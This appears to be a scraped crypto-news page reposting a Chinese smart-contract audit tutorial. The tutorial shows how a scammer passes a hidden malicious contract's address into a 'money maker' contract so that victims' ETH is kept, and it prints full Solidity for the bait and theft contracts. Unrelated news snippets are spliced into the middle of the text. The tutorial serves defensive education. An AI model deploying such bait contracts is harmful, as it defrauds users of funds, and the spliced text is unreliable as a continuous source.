買比特幣 買比特幣
Ctrl+D 買比特幣
ads

Maker:智能合約安全審計入門篇 —— 移花接木_VAULT

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

銀聯商務與上海文交所合作積極探索數字資產智能合約交易模式:4月9日消息,近日銀聯商務股份有限公司與上海文化產權交易所股份有限公司(簡稱上海文交所)簽署戰略合作協議,銀聯商務正式接入“國家級版權交易保護聯盟鏈”,加入國家級數字文創規范治理生態矩陣。

雙方在數字人民幣領域的合作將持續強化“國家級版權交易保護聯盟鏈”的服務功能,同時將共同推動和強化行業規范治理,引導數字文創、數字藝術、數字版權、虛擬世界與現實交互產業合理有序發展。  

此次合作,雙方將充分發揮各自擅長的技術研發、渠道、資源等相關優勢,圍繞可追溯、實名性、透明公開的創新交易模式不斷探索優化,通過區塊鏈、智能合約等創新技術應用,共同打造穩定、合規、安全的數字資產交易環境,推動國家級數字文創規范治理生態矩陣內交易相關技術標準、安全規范的制定,為中國數字文化產業發展提供堅實保障。 

銀聯商務此次不僅將自主研發的區塊鏈平臺接入國家級版權交易保護聯盟鏈,積極探索數字資產智能合約交易模式,為數字資產交易提供不可篡改、安全可信的技術保障,還將為聯盟鏈賦予完備的全渠道綜合支付受理能力,提升結算效能,助力數字資產交易體系建設。[2022/4/9 14:15:01]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

智能合約錢包Argent Layer2版本正式上線zkSync:12月24日,智能合約錢包Argent宣布其Layer2版本正式上線zkSync,目前已與zkSync網絡內DEX平臺ZigZag完成集成,用戶現可通過1美元的固定費用使用Argent在Layer2上的交易服務。該服務目前僅支持ETH、USDT、USDC、WBTC、DAI和FRAX。[2021/12/24 8:02:18]

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

以太坊技術服務商 OpenZeppelin 發布 Optimism 智能合約審計報告:11月25日消息,以太坊技術服務商 OpenZeppelin 發布 Optimism 智能合約審計報告。從 2021 年 3 月 15 日開始,OpenZeppelin 在 7 周的時間里與 3 位審計師一起審計了 Optimism 的代碼庫,共發現 4 個嚴重和 4 個高度嚴重的問題,并提出修改建議以減少代碼的攻擊面和提高其整體質量,Optimism 團隊已承認或修復所有嚴重問題,代碼已遷移到新存儲庫。[2021/11/25 7:10:27]

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

動態 | Cardano發布新論文介紹在路線圖Goguen更新中實施智能合約:Cardano (ADA)在1月27日發布了一篇新論文,其中詳細介紹了如何在即將到來的路線圖Goguen更新中實施智能合約。雖然該系統是獨一無二的,但鑒于Cardano的延遲歷史,其發布日期仍不確定。(Cointelegraph)[2020/1/29]

MoneyMaker->Vault。

而實際的調用路徑為:

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

動態 | 俄羅斯航空公司開發基于區塊鏈的聯合智能合約:據Neftegaz.RU報道,Gazpromneft-Aero和S7航空公司開發并實施了基于區塊鏈的聯合智能合約(航空燃料智能合約 - AFSC),提高了航空加油中互惠結算的速度和效率。[2018/8/27]

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEMakerULTVAULTmaker幣怎么挖makerdao官網appUltraNote CoinPvault Finance

火必下載
ALD:滴滴被指“數據賣國”,分布式存儲能否解決中心化僵局?_APP

"當利潤達到10%時,便有人蠢蠢欲動;當利潤達到50%的時候,有人敢于鋌而走險;當利潤達到100%時,他們敢于踐踏人間一切法律;而當利潤達到300%時,甚至連上絞刑架都毫不畏懼.

1900/1/1 0:00:00
SEN:融資新聞 | 以太坊基礎設施開發公司ConsenSys完成4.5億美元D輪融資,淡馬錫和微軟等參投_vsys幣最高漲到1美元嗎

據ConsenSys官網3月15日報道,ConsenSys宣布完成了一輪4.5億美元的融資,使其估值超過70億美元.

1900/1/1 0:00:00
CHAT:英偉達獨霸時代結束?ChatGPT引爆谷歌微軟芯片大戰,亞馬遜也入局_CATGIRL

來源:新智元 ChatGPT爆火之后,谷歌和微軟兩巨頭的AI大戰戰火,已經燒到了新的領域——服務器芯片。如今,AI和云計算都成了必爭之地,而芯片,也成為降低成本、贏得商業客戶的關鍵.

1900/1/1 0:00:00
加密貨幣:美國保險巨頭MassMutual購買價值1億美元的比特幣_UTU

據《華爾街日報》報道,總部位于美國馬薩諸塞州的保險公司MassMutual已為其一般投資帳戶購買了價值1億美元的比特幣.

1900/1/1 0:00:00
AIG:法治日報:治理AIGC的關鍵時刻已經到來_人工智能

來源:法制日報 對AIGC監管的相關問題需要考慮四個方面,一是監管何時介入,需要考慮技術的負外部性導致的風險程度高低;二是監管對象的選擇,是選擇技術和服務本身.

1900/1/1 0:00:00
KKT:Bakkt大規模下架代幣,包括AAVE、AVAX、COMP、FIL、MKR和UNI_COMP

金色財經報道,洲際交易所旗下的Bakkt在2月份停止了其面向消費者的應用程序,因為它不再是零售業.

1900/1/1 0:00:00
ads